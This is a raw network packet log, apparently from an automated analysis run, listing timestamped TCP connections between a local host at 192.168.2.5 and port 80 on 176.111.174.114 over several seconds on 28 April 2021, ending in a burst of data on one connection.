Apr 28, 2021 23:22:24.843388081 CEST	80	49720	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:24.847598076 CEST	80	49720	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:24.849024057 CEST	49720	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:24.954046965 CEST	49720	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:24.955461979 CEST	49721	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:25.050280094 CEST	80	49721	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:25.050476074 CEST	49721	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:25.051029921 CEST	49721	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:25.051769018 CEST	80	49720	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:25.051882029 CEST	49720	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:25.146081924 CEST	80	49721	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:25.150015116 CEST	80	49721	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:25.150176048 CEST	49721	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:25.266527891 CEST	49721	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:25.267601013 CEST	49722	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:25.361958981 CEST	80	49722	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:25.362096071 CEST	49722	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:25.362186909 CEST	80	49721	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:25.362256050 CEST	49721	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:25.362823963 CEST	49722	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:25.455935955 CEST	80	49722	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:25.460107088 CEST	80	49722	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:25.460238934 CEST	49722	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:25.563366890 CEST	49722	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:25.564712048 CEST	49723	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:25.656666040 CEST	80	49722	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:25.656752110 CEST	49722	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:25.666872025 CEST	80	49723	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:25.666965008 CEST	49723	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:25.676390886 CEST	49723	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:25.779680014 CEST	80	49723	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:25.783332109 CEST	80	49723	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:25.783499956 CEST	49723	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:25.892982960 CEST	49723	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:25.894181967 CEST	49724	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:25.992590904 CEST	80	49724	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:25.992687941 CEST	49724	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:25.993351936 CEST	49724	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:25.994846106 CEST	80	49723	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:25.994913101 CEST	49723	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:26.092015982 CEST	80	49724	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:26.096072912 CEST	80	49724	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:26.096164942 CEST	49724	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:26.286331892 CEST	49724	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:26.290918112 CEST	49725	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:26.384453058 CEST	80	49724	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:26.384645939 CEST	49724	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:26.386603117 CEST	80	49725	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:26.386715889 CEST	49725	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:26.489479065 CEST	49725	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:26.585372925 CEST	80	49725	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:26.589775085 CEST	80	49725	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:26.589876890 CEST	49725	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:26.705636024 CEST	49725	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:26.707910061 CEST	49726	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:26.801908016 CEST	80	49725	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:26.802195072 CEST	49725	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:26.807826996 CEST	80	49726	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:26.808552027 CEST	49726	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:26.809540987 CEST	49726	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:26.910279036 CEST	80	49726	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:26.915337086 CEST	80	49726	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:26.915441990 CEST	49726	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:27.034584999 CEST	49726	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:27.035679102 CEST	49727	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:27.134325027 CEST	80	49726	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:27.135454893 CEST	49726	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:27.143711090 CEST	80	49727	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:27.143919945 CEST	49727	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:27.520783901 CEST	49727	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:27.628909111 CEST	80	49727	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:27.633228064 CEST	80	49727	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:27.633296967 CEST	49727	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:27.799369097 CEST	49727	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:27.800514936 CEST	49728	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:27.895591021 CEST	80	49728	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:27.895742893 CEST	49728	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:27.896210909 CEST	49728	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:27.907183886 CEST	80	49727	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:27.907260895 CEST	49727	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:27.991314888 CEST	80	49728	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:27.995414019 CEST	80	49728	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:27.995502949 CEST	49728	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:28.111763954 CEST	49728	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:28.113316059 CEST	49729	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:28.207021952 CEST	80	49728	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:28.207169056 CEST	49728	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:28.214821100 CEST	80	49729	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:28.214983940 CEST	49729	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:28.270153999 CEST	49729	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:28.371750116 CEST	80	49729	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:28.375988960 CEST	80	49729	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:28.376137972 CEST	49729	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:29.320194960 CEST	49729	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:29.321708918 CEST	49730	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:29.419045925 CEST	80	49730	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:29.419199944 CEST	49730	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:29.420516014 CEST	49730	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:29.421788931 CEST	80	49729	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:29.421875000 CEST	49729	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:29.519027948 CEST	80	49730	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:29.522979975 CEST	80	49730	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:29.523164034 CEST	49730	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:29.647330999 CEST	49730	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:29.648592949 CEST	49731	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:29.743757963 CEST	80	49731	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:29.743874073 CEST	49731	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:29.744870901 CEST	80	49730	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:29.745047092 CEST	49730	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:29.748229027 CEST	49731	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:29.844604969 CEST	80	49731	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:29.848690033 CEST	80	49731	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:29.848767996 CEST	49731	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:29.955127954 CEST	49731	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:29.956171989 CEST	49732	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:30.049989939 CEST	80	49731	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:30.050086975 CEST	49731	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:30.053780079 CEST	80	49732	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:30.053855896 CEST	49732	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:30.054385900 CEST	49732	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:30.153774977 CEST	80	49732	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:30.157846928 CEST	80	49732	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:30.158025026 CEST	49732	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:30.269165039 CEST	49732	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:30.271610975 CEST	49734	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:30.365333080 CEST	80	49734	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:30.365417957 CEST	49734	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:30.365915060 CEST	49734	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:30.366837025 CEST	80	49732	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:30.366966009 CEST	49732	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:30.461081028 CEST	80	49734	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:30.465514898 CEST	80	49734	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:30.465634108 CEST	49734	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:30.580228090 CEST	49734	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:30.581434965 CEST	49735	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:30.673930883 CEST	80	49734	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:30.674036980 CEST	49734	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:30.679347992 CEST	80	49735	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:30.679457903 CEST	49735	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:30.680036068 CEST	49735	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:30.777767897 CEST	80	49735	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:30.781018019 CEST	80	49735	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:30.781166077 CEST	49735	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:30.891797066 CEST	49735	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:30.892961025 CEST	49736	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:30.989559889 CEST	80	49735	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:30.989716053 CEST	49735	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:30.992635012 CEST	80	49736	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:30.992738962 CEST	49736	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:30.993213892 CEST	49736	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:31.092830896 CEST	80	49736	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:31.096833944 CEST	80	49736	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:31.096972942 CEST	49736	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:31.207609892 CEST	49736	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:31.208595991 CEST	49738	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:31.308156967 CEST	80	49736	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:31.308252096 CEST	49736	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:31.318038940 CEST	80	49738	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:31.318172932 CEST	49738	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:31.319087982 CEST	49738	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:31.426626921 CEST	80	49738	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:31.431096077 CEST	80	49738	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:31.431221962 CEST	49738	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:31.548196077 CEST	49738	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:31.549209118 CEST	49739	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:31.651220083 CEST	80	49739	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:31.651391983 CEST	49739	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:31.652184963 CEST	49739	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:31.655833960 CEST	80	49738	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:31.655956030 CEST	49738	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:31.755780935 CEST	80	49739	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:31.759716988 CEST	80	49739	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:31.759917974 CEST	49739	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:31.876800060 CEST	49739	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:31.877940893 CEST	49740	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:31.971332073 CEST	80	49740	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:31.971508980 CEST	49740	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:31.971982002 CEST	49740	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:31.978980064 CEST	80	49739	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:31.979087114 CEST	49739	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:32.065298080 CEST	80	49740	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:32.073405981 CEST	80	49740	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:32.073565960 CEST	49740	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:32.189198017 CEST	49740	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:32.190303087 CEST	49741	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:32.283755064 CEST	80	49740	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:32.283842087 CEST	49740	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:32.287112951 CEST	80	49741	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:32.287231922 CEST	49741	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:32.287851095 CEST	49741	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:32.383100986 CEST	80	49741	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:32.387026072 CEST	80	49741	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:32.387119055 CEST	49741	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:32.501544952 CEST	49741	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:32.502851963 CEST	49742	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:32.596971035 CEST	80	49741	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:32.597038984 CEST	49741	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:32.600547075 CEST	80	49742	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:32.600682974 CEST	49742	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:32.601192951 CEST	49742	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:32.698812962 CEST	80	49742	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:32.702991962 CEST	80	49742	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:32.703108072 CEST	49742	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:32.893860102 CEST	49742	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:32.895478964 CEST	49744	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:32.991499901 CEST	80	49742	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:32.991586924 CEST	49742	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:32.993828058 CEST	80	49744	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:32.993927002 CEST	49744	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:32.994602919 CEST	49744	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.084979057 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.092556953 CEST	80	49744	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.096647978 CEST	80	49744	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.096735001 CEST	49744	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.180526018 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.180675983 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.184092045 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.206892967 CEST	49744	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.207926989 CEST	49746	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.277796030 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.278054953 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.278095007 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.278112888 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.278131008 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.278146982 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.278161049 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.278162956 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.278176069 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.278184891 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.278193951 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.278198957 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.278212070 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.278228045 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.278228998 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.278259993 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.278311014 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.303189993 CEST	80	49746	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.304666042 CEST	80	49744	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.304774046 CEST	49744	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.304986000 CEST	49746	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.305347919 CEST	49746	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.373975039 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.374010086 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.374030113 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.374047041 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.374064922 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.374083042 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.374094963 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.374106884 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.374114990 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.374119997 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.374139071 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.374151945 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.374164104 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.374165058 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.374185085 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.374197006 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.374201059 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.374213934 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.374213934 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.374236107 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.374249935 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.374255896 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.374273062 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.374285936 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.374290943 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.374308109 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.374309063 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.374335051 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.374361038 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.401814938 CEST	80	49746	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.405771017 CEST	80	49746	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.405898094 CEST	49746	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.468177080 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.468213081 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.468240976 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.468266964 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.468291998 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.468302965 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.468317032 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.468342066 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.468362093 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.468368053 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.468390942 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.468393087 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.468411922 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.468420982 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.468431950 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.468444109 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.468451023 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.468462944 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.468467951 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.468487024 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.468509912 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.468522072 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.468529940 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.468533993 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.468553066 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.468560934 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.468570948 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.468590021 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.468595028 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.468621969 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.468624115 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.468628883 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.468645096 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.468671083 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.468673944 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.468679905 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.468689919 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.468693018 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.468714952 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.468714952 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.468736887 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.468759060 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.468760014 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.468765974 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.468780994 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.468784094 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.468807936 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.468830109 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.468854904 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.468868971 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.468874931 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.468879938 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.468899965 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.468904972 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.468930006 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.468952894 CEST	80	49745	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:33.468956947 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.468962908 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.468972921 CEST	49745	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:33.468980074 CEST	80	49745	176.111.174.114	192.168.2.5
